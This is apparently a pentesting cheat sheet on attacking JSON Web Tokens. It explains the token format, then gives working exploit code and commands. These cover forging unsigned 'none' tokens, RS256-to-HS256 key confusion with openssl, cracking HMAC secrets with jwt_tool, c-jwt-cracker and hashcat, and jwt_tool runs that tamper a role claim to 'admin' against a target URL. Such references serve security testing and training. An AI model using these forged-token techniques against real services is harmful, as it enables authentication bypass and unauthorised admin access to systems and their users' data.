JWT - JSON Web Token

> JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.

Summary

Tools

- jwt_tool
- c-jwt-cracker
- JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper

JWT Format

JSON Web Token : `Base64(Header).Base64(Data).Base64(Signature)`

Example :
`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9Ocpccjrlkcm LovL2A2aiKiAOY`

Where we can split it into 3 components separated by a dot.

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9        # header
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ        # payload
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
```

Header

Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). "RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).

```
{
    "typ": "JWT",
    "alg": "HS256"
}
```

`alg` Param Value	Digital Signature or MAC Algorithm	Requirements
HS256	HMAC using SHA-256	Required
HS384	HMAC using SHA-384	Optional
HS512	HMAC using SHA-512	Optional
RS256	RSASSA-PKCS1-v1_5 using SHA-256	Recommended
RS384	RSASSA-PKCS1-v1_5 using SHA-384	Optional
RS512	RSASSA-PKCS1-v1_5 using SHA-512	Optional
ES256	ECDSA using P-256 and SHA-256	Recommended
ES384	ECDSA using P-384 and SHA-384	Optional
ES512	ECDSA using P-521 and SHA-512	Optional
PS256	RSASSA-PSS using SHA-256 and MGF1 with SHA-256	Optional
PS384	RSASSA-PSS using SHA-384 and MGF1 with SHA-384	Optional
PS512	RSASSA-PSS using SHA-512 and MGF1 with SHA-512	Optional
none	No digital signature or MAC performed	Required

Payload

```
{
    "sub":"1234567890",
    "name":"Amazing Haxx0r",
    "exp":"1466270722",
    "admin":true
}
```

Claims are the predefined keys and their values:

- iss: issuer of the token
- exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
- iat: The time the JWT was issued. Can be used to determine the age of the JWT
- nbf: "not before" is a future time when the token will become active.
- jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed.
- sub: subject of the token (rarely used)
- aud: audience of the token (also rarely used)

JWT Encoder – Decoder: `http://jsonwebtoken.io`

JWT Signature - None algorithm

JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.

None algorithm variants:

- none
- None
- NONE
- nOnE

To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT.

However, this won't work unless you **remove** the signature

Alternatively you can modify an existing JWT (be careful with the expiration time)

```
#!/usr/bin/python3
# -*- coding: utf-8 -*-

import jwt

jwtToken    =
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0
.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3
OQ'

decodedToken    = jwt.decode(jwtToken, verify=False)                    # Need to
decode the token before encoding with type 'None'
noneEncoded     = jwt.encode(decodedToken, key='', algorithm=None)

print(noneEncoded.decode())

"""
Output:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.
"""
```

JWT Signature - RS256 to HS256

Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data.

> The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

```
import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
```

:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an`

`HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`.

Here are the steps to edit an RS256 JWT token into an HS256

1. Convert our public key (key.pem) into HEX with this command.

```
$ cat key.pem | xxd -p | tr -d "\\n"
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
```

2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.

```
$ echo -n
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIi
wicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt
hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a

(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
```

3. Convert signature (Hex to "base64 URL")

```
$ python2 -c "exec(\"import base64, binascii\nprint
base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8
239688c1f862f261a0c588910e0')).replace('=','')\")"
```

4. Add signature to edited payload

```
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiw
icm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
```

Breaking JWT's secret

Encode/Decode JWT with the secret.

```
import jwt
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') # encode with
'secret'

encoded =
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9
lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE"
jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the secret
key

# result
{u'admin': True, u'sub': u'1234567890', u'name': u'John Doe'}
```

JWT tool

First, bruteforce the "secret" key used to compute the signature.

```
git clone https://github.com/ticarpi/jwt_tool
python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJp
YXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                     |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.2                \______|             @ticarpi

Original JWT:

[+] secret is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S HS256 -p "secret"
```

Then edit the field inside the JSON Web Token.

```
Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = 1234567890
[2] role = admin
[3] iat = 1516239022
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0
```

Finally, finish the token by signing it with the previously retrieved "secret" key.

```
Token Signing:
[1] Sign token with known key
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
[4] Sign token with key file

Please select an option from above (1-4):
> 1

Please enter the known key:
> secret
```

```
Please enter the keylength:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1

Your new forged token:
[+] URL safe:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwi
aWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic
[+] Standard:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwi
aWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
```

- Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
- Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
- Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
- Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
- Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`

JWT cracker

```
git clone https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9l
IiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Secret is "Sn1f"
```

Hashcat

> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - src

```
/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
```

CVE

- CVE-2015-2951 - The alg=none signature-bypass vulnerability

- CVE-2016-10555 - The RS/HS256 public key mismatch vulnerability
- CVE-2018-0114 - Key injection vulnerability
- CVE-2019-20933/CVE-2020-28637 - Blank password vulnerability
- CVE-2020-28042 - Null signature vulnerability

References

- Hacking JSON Web Token (JWT) - Hate_401
- WebSec CTF - Authorization Token - JWT Challenge
- Privilege Escalation like a Boss - October 27, 2018 - janijay007
- 5 Easy Steps to Understanding JSON Web Token
- Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify Blog
- HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)
- Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean
- Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq
- Simple JWT hacking - @b1ack_h00d
- Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper
- How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar
- HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp
- Write up – JRR Token – LeHack 2019 - 07/07/2019 - LAPHAZE
- JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8th, 2017
- JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight Senior Security Consultant - April 16, 2020